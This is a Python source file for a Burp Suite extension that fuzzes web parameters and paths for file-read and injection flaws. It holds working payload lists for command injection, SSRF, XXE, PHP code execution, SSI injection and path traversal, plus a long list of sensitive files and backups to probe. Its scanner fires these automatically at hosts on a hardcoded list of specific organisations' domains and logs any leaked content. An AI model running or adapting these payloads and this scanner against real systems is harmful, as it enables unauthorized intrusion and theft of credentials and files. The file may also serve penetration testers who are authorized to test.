524
 
1
#!/usr/bin/env python
2
# -*- coding: utf-8 -*-
3
# @Time    : 2019/10/22 15:41
4
# @Author  : xiaodong
5
# @github  : https://github.com/dongfangyuxiao/
6
# @Site    : #编写这个插件测试是否存在任意文件读取和下载漏洞
7
# @File    : burp_LFI.py
8
# @Software: PyCharm
9
import threading
10
import re
11
from burp import IBurpExtender
12
from burp import IHttpListener
13
from burp import IHttpRequestResponse
14
from burp import IResponseInfo
15
from burp import IRequestInfo
16
from burp import IHttpService
17
from burp import IScannerCheck
18
from burp import IScannerInsertionPointProvider
19
from burp import IParameter
20
from burp import IScanIssue
21
from urlparse import urlparse
22
from java.net import URL
23
import urllib2
24
import sys
25
sys.path.append('C:/Python27/Lib/site-packages')
26
import requests
27
import urllib3
28
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)  # 屏蔽ssl警告
29
class FuzzLFI:
30
    def __init__(self):
31
        # 任意文件读取敏感目录
32
        self.dir = [
33
            '&&net user',
34
            '&&cat /etc/passwd',
35
            '&net user',
36
            '&cat /etc/passwd',
37
            '&;&net user',
38
            '&;&cat /etc/passwd',
39
            '|net user',
40
            '|cat /etc/passwd',
41
            #上面是命令执行漏洞的
42
           'file:///etc/passwd',
43
           'dict://127.0.0.1:22',
44
           'local_file:///etc/passwd',
45
           'local-file:///etc/passwd',
46
           #这是ssrf的file协议和dict协议
47
           "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
48
           "<!DOCTYPE root [\n" +
49
           "<!ENTITY % remote SYSTEM \"file:///etc/passwd\">\n" +
50
           "%remote;]>\n" +
51
            "<root/>",
52
           #这是xxe的file协议读取 / etc / passwd
53
            "phpinfo()",
54
            "system('id')",
55
            "system('whoami')",
56
            "system('cat /etc/passwd')",
57
            #这是php代码执行
58
            "<!--#exec cmd=\"id\" -->",
59
            "<!--#exec cmd=\"cat /etc/passwd\" -->",
60
            #这是SSI注入
61
            '/etc/passwd',
62
            '../logs/access_log',
63
            '../logs/error_log',
64
            '/etc/shadow',
65
            '/etc/group',
66
            'proc/self/environ',
67
            '/proc/self/environ',
68
            '/proc/self/cmdline',
69
            '/proc/self/stat',
70
            '/proc/self/status',
71
            '/proc/self/fd/0',
72
            '/var/cpanel/cpanel.config',
73
            '/../etc/passwd',
74
            '/../../etc/passwd',
75
            '/../../../etc/passwd',
76
            '/../../../../etc/passwd',
77
            '/../../../../../etc/passwd',
78
            '/../../../../../../etc/passwd',
79
            '/../../../../../../../etc/passwd',
80
            '/../../../../../../../../etc/passwd',
81
            '/../../../../../../../../../etc/passwd',
82
            '/../../../../../../../../../../etc/passwd',
83
            '/../../../../../../../../../../../etc/passwd',
84
            '/../../../../../../../../../../../../etc/passwd',
85
            '/../../../../../../../../../../../../../etc/passwd',
86
            '/../../../../../../../../../../../../../../etc/passwd',
87
            '/../../../../../../../../../../../../../../../../etc/passwd',
88
            '/../proc/self/environ',
89
            'proc/self/environ%00',
90
            '../proc/self/fd/8',
91
            '../proc/self/fd/8%00',
92
            '/etc/security/group',
93
            '/etc/security/passwd',
94
            '/etc/security/user',
95
            '/etc/security/environ',
96
            '/etc/security/limits',
97
            '/usr/lib/security/mkuser.default',
98
            '/apache/logs/access.log',
99
            '/apache/logs/error.log',
100
            '/etc/httpd/logs/acces_log',
101
            '/etc/httpd/logs/error_log',
102
            '/var/www/logs/access_log',
103
            '/usr/local/apache/logs/access_log',
104
            '/../../apache/logs/access.log',
105
            '/../../../apache/logs/access.log',
106
            '/../../../../apache/logs/access.log',
107
            '/logs/access_log',
108
            '/logs/error_log',
109
            '/../../logs/error_log',
110
            '/../../../logs/access_log',
111
            '/../../../../logs/error_log',
112
            '/../../../../../logs/error_log',
113
            '/../../../../../../logs/error_log',
114
            '/../../../../../../../logs/error_log',
115
            '/../../logs/access_log',
116
            '/../../../../logs/access_log',
117
            '/../../../../../logs/access_log',
118
            '/../../../../../../logs/access_log',
119
            '/../../../../../../../logs/access_log',
120
            '/etc/php.ini',
121
            '/bin/php.ini',
122
            '/etc/httpd/php.ini',
123
            '/WINDOWS\php.ini',
124
            '/WINNT\php.ini',
125
            '/apache\php\php.ini',
126
            '/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini',
127
            '/usr/local/cpanel/logs',
128
            'C:/boot.ini',
129
            'c:/wamp/logs/access.log',
130
            '/etc/logrotate.d/proftpd',
131
            '/../etc/passwd%00',
132
            '/../../etc/passwd%00',
133
            '/../../../etc/passwd%00',
134
            '/../../../../etc/passwd%00',
135
            '/../../../../../etc/passwd%00',
136
            '/../../../../../../etc/passwd%00',
137
            '/../../../../../../../etc/passwd%00',
138
            '/../../../../../../../../etc/passwd%00',
139
            '/../../../../../../../../../etc/passwd%00',
140
            '/../../../../../../../../../../etc/passwd%00',
141
            '/../../../../../../../../../../../etc/passwd%00',
142
            '/../../../../../../../../../../../../etc/passwd%00',
143
            '/../../../../../../../../../../../../../etc/passwd%00',
144
            '/../../../../../../../../../../../../../../etc/passwd%00',
145
            '/../../../../../../../../../../../../../../../../etc/passwd%00',
146
            '/../WEB-INF/web.xml',
147
            '/../../WEB-INF/web.xml',
148
            '/../../../WEB-INF/web.xml',
149
            '/../../../../WEB-INF/web.xml',
150
            '/../../../../../WEB-INF/web.xml',
151
            '/../../../../../../WEB-INF/web.xml',
152
            '/../../../../../../..//WEB-INF/web.xml'
153
                      ]
154
        self.errorFlag = re.compile(r'.*(root:|sbin|State: R (running)|Tgid:|TracerPid:|Uid:|File does not exist:|emailusersbandwidth|adminuser=|database_prefix=|nologin|DB_NAME|daemon:|DOCUMENT_ROOT=|PATH="|HTTP_USER_AGENT|HTTP_ACCEPT_ENCODING=|apache_port=|cpanel/logs/access|allow_login_autocomplete).*')
155
156
        self.dir2 = [
157
            'etc/passwd',
158
            '../logs/access_log',
159
            '../logs/error_log',
160
            'etc/shadow',
161
            '../etc/passwd',
162
            '../../etc/passwd',
163
            '../../../etc/passwd',
164
            '../../../../etc/passwd',
165
            '../../../../../etc/passwd',
166
            '../../../../../../etc/passwd',
167
            '../../../../../../../etc/passwd',
168
            '../../../../../../../../etc/passwd',
169
            '../../../../../../../../../etc/passwd',
170
            '../../../../../../../../../../etc/passwd',
171
            '../../../../../../../../../../../etc/passwd',
172
            '../../../../../../../../../../../../etc/passwd',
173
            '../../../../../../../../../../../../../etc/passwd',
174
            '../../../../../../../../../../../../../../etc/passwd',
175
            '../../../../../../../../../../../../../../../../etc/passwd',
176
            '../../logs/access_log',
177
            '../../../../logs/access_log',
178
            '../../../../../logs/access_log',
179
            '../../../../../../logs/access_log',
180
            '../../../../../../../logs/access_log',
181
            '../etc/passwd%00',
182
            '../../etc/passwd%00',
183
            '../../../etc/passwd%00',
184
            '../../../../etc/passwd%00',
185
            '../../../../../etc/passwd%00',
186
            '../../../../../../etc/passwd%00',
187
            '../../../../../../../etc/passwd%00',
188
            '../../../../../../../../etc/passwd%00',
189
            '../../../../../../../../../etc/passwd%00',
190
            '../../../../../../../../../../etc/passwd%00',
191
            '../../../../../../../../../../../etc/passwd%00',
192
            '../../../../../../../../../../../../etc/passwd%00',
193
            '../../../../../../../../../../../../../etc/passwd%00',
194
            '../../../../../../../../../../../../../../etc/passwd%00',
195
            '../../../../../../../../../../../../../../../../etc/passwd%00',
196
            'WEB-INF/web.xml',
197
            '../WEB-INF/web.xml',
198
            '../../WEB-INF/web.xml',
199
            '../../../WEB-INF/web.xml',
200
            '../../../WEB-INF/web.xml',
201
            '../../../../WEB-INF/web.xml',
202
            '../../../../../WEB-INF/web.xml',
203
            '../../../../../../WEB-INF/web.xml',
204
            '../../../../../../../WEB-INF/web.xml',
205
            '../../../../../../../../WEB-INF/web.xml',
206
            '../../../../../../../../../../WEB-INF/web.xml',
207
            'config/config_ucenter.php.bak',
208
            'config/.config_ucenter.php.swp',
209
            'config/.config_global.php.swp',
210
            'config/config_global.php.1',
211
            'uc_server/data/config.inc.php.bak',
212
            'config/config_global.php.bak',
213
            'include/config.inc.php.tmp',
214
            # discuz敏感目录,正则匹配<?php>
215
            'access.log',
216
            'www.log',
217
            'error.log',
218
            'log.log',
219
            'sql.log',
220
            'errors.log',
221
            'debug.log',
222
            'db.log',
223
            'install.log',
224
            'server.log',
225
            'sqlnet.log',
226
            'WS_FTP.log',
227
            'database.log',
228
            'data.log',
229
            'app.log',
230
            'log.tar.gz',
231
            'log.rar',
232
            'log.zip',
233
            'log.tgz',
234
            'log.tar.bz2',
235
            'log.7z',
236
            # 日志文件
237
            'WEB-INF/classes',
238
            'jPlayer/',
239
            'jwplayer/',
240
            'extjs/',
241
            'swfupload/',
242
            'boss/',
243
            'editor/',
244
            'ckeditor/',
245
            'htmedit/',
246
            'htmleditor/',
247
            'ueditor/',
248
            'tomcat/',
249
            'output/',
250
            'fck/',
251
            'cgi-bin/',
252
            'admin/',
253
            'bak/',
254
            'backup/',
255
            'conf/',
256
            'config/',
257
            'debug/',
258
            'data/',
259
            'database/',
260
            'deploy/',
261
            'WEB-INF/',
262
            'install/',
263
            'manage/',
264
            'manager/',
265
            'monitor/',
266
            'tmp/',
267
            'temp/',
268
            'test/',
269
            'RPC2/',
270
            'wp-config.php.inc',
271
            'wp-config.inc',
272
            'wp-config.bak',
273
            'wp-config.php~',
274
            '.wp-config.php.swp',
275
            'wp-config.php.bak',
276
            'auto/config',
277
            'configprops',
278
            'beans',
279
            'dump',
280
            'env',
281
            'env/{name}',
282
            'health',
283
            'info',
284
            'metrics',
285
            'shutdown',
286
            'trace',
287
            'manage/',
288
            '.svn/entries',
289
            'code',
290
            'phpmyadmin',
291
            'cache/',
292
            'compile/',
293
            'data1/',
294
            'entries/',
295
            'storage/',
296
            'upload/',
297
            'add/',
298
            'test.zip',
299
            '.zip',
300
            'www.rar',
301
            'foo/default/master/..%252F..%252F..%252F..%252Fetc%252fpasswd',
302
            '..%252F..%252F..%252F..%252Fetc%252fpasswd',
303
            '.bash_history',
304
            '.buildpath',
305
            '.history',
306
            '.mysql_history',
307
            '.project',
308
            '.ssh/authorized_keys',
309
            'mydata/',
310
            'cacti/',
311
            'cms/',
312
            'main/',
313
            'db/',
314
            'dede/',
315
            'denglu/',
316
            'edit/',
317
            'setting/',
318
            'sys/',
319
            'axis2/',
320
            'ecp/',
321
            'reg/',
322
            'register/',
323
            'sign/',
324
            'download.jsp',
325
            'wls-wsat/CoordinatorPortType',
326
            'console/',
327
            'ws_utc/',
328
            'uddiexplorer/',
329
            'safe.cgi',
330
            'victim.cgi',
331
            'CFIDE/',
332
            'administrator/',
333
334
335
336
        ]
337
338
class BurpExtender(IBurpExtender,IScannerCheck):
339
340
    def registerExtenderCallbacks(self,callbacks):
341
        self._callbacks = callbacks
342
        self._helpers = callbacks.getHelpers()
343
        self._callbacks.registerScannerCheck(self) #注册扫描插件
344
        self._callbacks.setExtensionName("LFI")#定义插件的名称
345
        print("for lfi scan")
346
        self.fuzzLFI = FuzzLFI()#引入上面定义的类
347
    #以上都是标准化程序
348
349
    def doPassiveScan(self, baseRequestResponse):
350
        lfiTarget = []
351
        Request = baseRequestResponse.getRequest()
352
        Response = baseRequestResponse.getResponse()
353
        analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters= self.get_request_info(Request )
354
        ResHeaders, ResBodys, ResStatusCode,resLength= self.get_response_info(Response)
355
        print ResStatusCode
356
        httpService = baseRequestResponse.getHttpService()
357
        host, port, protocol, ishttps, = self.get_server_info(httpService)
358
        targetHost = ['saicmaxus', 'saicmotor', 'maxuscloud','rv2go','224','226','129','130','91','sxc','bihuo','100','bihuoedu','islefoundation']
359
        url = self.get_request_url(protocol, reqHeaders)
360
        if (host.split('.')[-3] in  targetHost) or (host.split('.')[-2] in targetHost):#多级或单级或类似baidu.net.cn的形势取主域名字段,比对是否在目标列表中
361
            for parameter in reqParameters:
362
                parameterName, parameterValue, parameterType = self.get_parameter_Name_Value_Type(parameter)
363
                #print(parameterName, parameterValue,parameterType)
364
                if parameterType ==0 or parameterType ==1 :#0是post型参数1是get型,2是cookie,这里不测试cookie里面的参数
365
                    #self.saveUrl(url)#把url保存下来,用于后续联动BBS等进行扫描
366
                    #print(parameterName,parameterValue)
367
                    #self.lfiTest(Request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType)
368
                    t = threading.Thread(target=self.lfiTest, args=(
369
                        Request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType))
370
                    lfiTarget.append(t)
371
            if (ResStatusCode !=302 and ResStatusCode!=301):#如果本身就是一个跳转的页面,我们就不管了
372
                url = urlparse(url)
373
                url = url.scheme + '://' + url.netloc + "/".join(url.path.split('/')[0:-1])+"/"
374
                html404_status, html404_content = self.html_404_analyze(url)
375
376
                t2 = threading.Thread(target=self.lfiDir, args=(
377
                Request, protocol, host, port, ishttps, url, html404_status, html404_content))
378
                lfiTarget.append(t2)
379
380
        for x in lfiTarget:
381
            x.start()
382
        for x in lfiTarget:
383
            x.join()
384
                #else:
385
                    #pass
386
387
    def consolidateDuplicateIssues(self, existingIssue, newIssue):
388
389
        return 0
390
391
    def doActiveScan(self, baseRequestResponse, insertionPoint):
392
            # report the issue
393
            return None
394
395
    def lfiTest(self, request, protocol, host, port, ishttps, parameterName, parameterValue, parameterType):
396
        for paraNewValue in self.fuzzLFI.dir:
397
            paraNewValue= urllib2.quote(paraNewValue)
398
            newParameter = self._helpers.buildParameter(parameterName, paraNewValue, parameterType);#重建参数和参数值
399
            newRequest = self._helpers.updateParameter(request, newParameter);#更新参数值
400
            #print(newRequest)
401
            newResponse = self._callbacks.makeHttpRequest(host, port, ishttps, newRequest);#生成http请求
402
            newAnalyzedRequest, newReqHeaders, newReqBodys, newReqMethod, newReqParameters = self.get_request_info(
403
                newRequest)#获取请求包信息(如果存在可以获取payload)
404
            #analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters = self.get_request_info(newRequest)
405
406
            newResHeaders, newResBodys, newResStatusCode,resLength= self.get_response_info(newResponse)#获取返回包头、body内容、和状态信息(这个是sql注入的判断的一个依据)
407
            # 判断是否存在特征
408
            errorInject = self.fuzzLFI.errorFlag.findall(newResBodys)
409
            #print(newReqBodys)
410
            if errorInject:
411
                # 获取请求的url
412
                newReqUrl = self.get_request_url(protocol, newReqHeaders)
413
                content = '[+]{} ->{} {}\n[Headers] -> {}\n[Bodys] -> {}'.format('[LFI GET]',errorInject,newReqUrl, newReqHeaders, newReqBodys)
414
                print (content)
415
                self.save(content+'\t\n')
416
                print ('-' * 50)
417
418
419
420
    def lfiDir(self, request, protocol, host, port, ishttps, url,html404_status, html404_content):
421
        for paraNewValue in self.fuzzLFI.dir2:
422
            newRequest = self._helpers.buildHttpRequest(URL(url+paraNewValue));  # 更新url值#这个地方一定要指定URL类型的,不然重组的时候会报错
423
            #print(url+paraNewValue)
424
            newResponse = self._callbacks.makeHttpRequest(host, port, ishttps, newRequest);  # 生成http请求
425
            newAnalyzedRequest, newReqHeaders, newReqBodys, newReqMethod, newReqParameters = self.get_request_info(
426
                newRequest)  # 获取请求包信息(如果存在可以获取payload)
427
            # analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters = self.get_request_info(newRequest)
428
            # url = self.get_request_url(protocol,reqHeaders)
429
            # print(url)
430
            newResHeaders, newResBodys, newResStatusCode, resLength = self.get_response_info(
431
                newResponse)  # 获取返回包头、body内容、和状态信息(这个是sql注入的判断的一个依据)
432
            # 判断是否存在特征abs(resLength - len(html404_content))<100
433
            errorInject = self.fuzzLFI.errorFlag.findall(newResBodys)
434
435
            if errorInject  or (newResStatusCode == 206) or ((newResStatusCode == 200 or newResStatusCode == 302 or newResStatusCode == 301) and abs(resLength - len(html404_content))>50):#如果别人定义的有404友好页面,也会跳转到友好页面,这时返回的状态码就是200,而我们要排除这种情况
436
                # 获取请求的url
437
                print "target found "
438
                newReqUrl = self.get_request_url(protocol, newReqHeaders)
439
                content = '[+]{} ->{} {}\n[Headers] -> {}\n[Bodys] -> {}'.format('[DIR GET]',errorInject,newReqUrl, newReqHeaders, newReqBodys)
440
                #print(content)
441
                self.save(content + '\t\n')
442
                print('-' * 50)
443
                break
444
445
446
447
448
    def html_404_analyze(self, url):
449
        url = url+'justfortesthtmlshifoucunzai.html'
450
        headers = {
451
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0",
452
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
453
            "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
454
            "Accept-Encoding": "gzip, deflate"
455
        }
456
        try:
457
            html_404 = requests.get(url,headers=headers,timeout=5,verify=False)#记得要设置忽略证书,不然一定会报错,取不到404页面的值
458
            return html_404.status_code,html_404.content
459
        except Exception as e:
460
            return None,None
461
            pass
462
463
    # 获取响应的一些信息:响应头,响应内容,响应状态码
464
    def get_response_info(self, response):
465
        analyzedResponse = self._helpers.analyzeResponse(
466
            response)  # analyzeResponse方法可用于分析HTTP响应,并获取有关它的各种关键详细信息。返回:IResponseInfo可以查询的对象以获取有关响应的详细信息。
467
        resHeaders = analyzedResponse.getHeaders()  # getHeaders方法用于获取响应中包含的HTTP标头。返回:响应中包含的HTTP标头。
468
        resBodys = response[
469
                   analyzedResponse.getBodyOffset():].tostring()  # getBodyOffset方法用于获取消息正文开始的响应中的偏移量。返回:消息正文开始的响应中的偏移量。response[analyzedResponse.getBodyOffset():]获取正文内容
470
        resStatusCode = analyzedResponse.getStatusCode()  # getStatusCode获取响应中包含的HTTP状态代码。返回:响应中包含的HTTP状态代码。
471
        resLength = len(resBodys)
472
        return resHeaders, resBodys, resStatusCode, resLength
473
474
        # 获取服务端的信息,主机地址,端口,协议
475
    def get_server_info(self, httpService):
476
        host = httpService.getHost()
477
        port = httpService.getPort()
478
        protocol = httpService.getProtocol()
479
        ishttps = False
480
        if protocol == 'https':
481
            ishttps = True
482
        return host, port, protocol, ishttps
483
484
        # 获取请求的参数名、参数值、参数类型(get、post、cookie->用来构造参数时使用)
485
    def get_parameter_Name_Value_Type(self, parameter):
486
        parameterName = parameter.getName()
487
        parameterValue = parameter.getValue()
488
        parameterType = parameter.getType()
489
        return parameterName, parameterValue, parameterType
490
491
        # 获取请求的url
492
493
    def get_request_url(self, protocol, reqHeaders):
494
        link = reqHeaders[0].split(' ')[1]
495
        host = reqHeaders[1].split(' ')[1]
496
        if 'http' in link:
497
            return link
498
        else:
499
            return protocol + '://' + host + link
500
501
    # 保存结果
502
    def save(self, content):
503
        print(content)
504
        f = open('burp_lfi.txt', 'at')
505
        f.writelines(content + '\n\n')
506
        f.close()
507
508
    def saveUrl(self, content):
509
        print(content)
510
        f = open('burp_url.txt', 'at')
511
        f.writelines(content + '\n\n')
512
        f.close()
513
514
    def get_request_info(self, request):
515
        analyzedRequest = self._helpers.analyzeRequest(
516
            request)  # analyzeRequest用于分析HTTP请求,并获取有关它的各种关键详细信息。生成的IRequestInfo对象
517
        reqHeaders = analyzedRequest.getHeaders()  # 用于获取请求中包含的HTTP头。返回:请求中包含的HTTP标头。
518
        reqBodys = request[analyzedRequest.getBodyOffset():].tostring()  # 获取消息正文开始的请求中的偏移量。返回:消息正文开始的请求中的偏移量。
519
        reqMethod = analyzedRequest.getMethod()  # 获取请求方法
520
        reqParameters = analyzedRequest.getParameters()
521
        return analyzedRequest, reqHeaders, reqBodys, reqMethod, reqParameters
522
523
524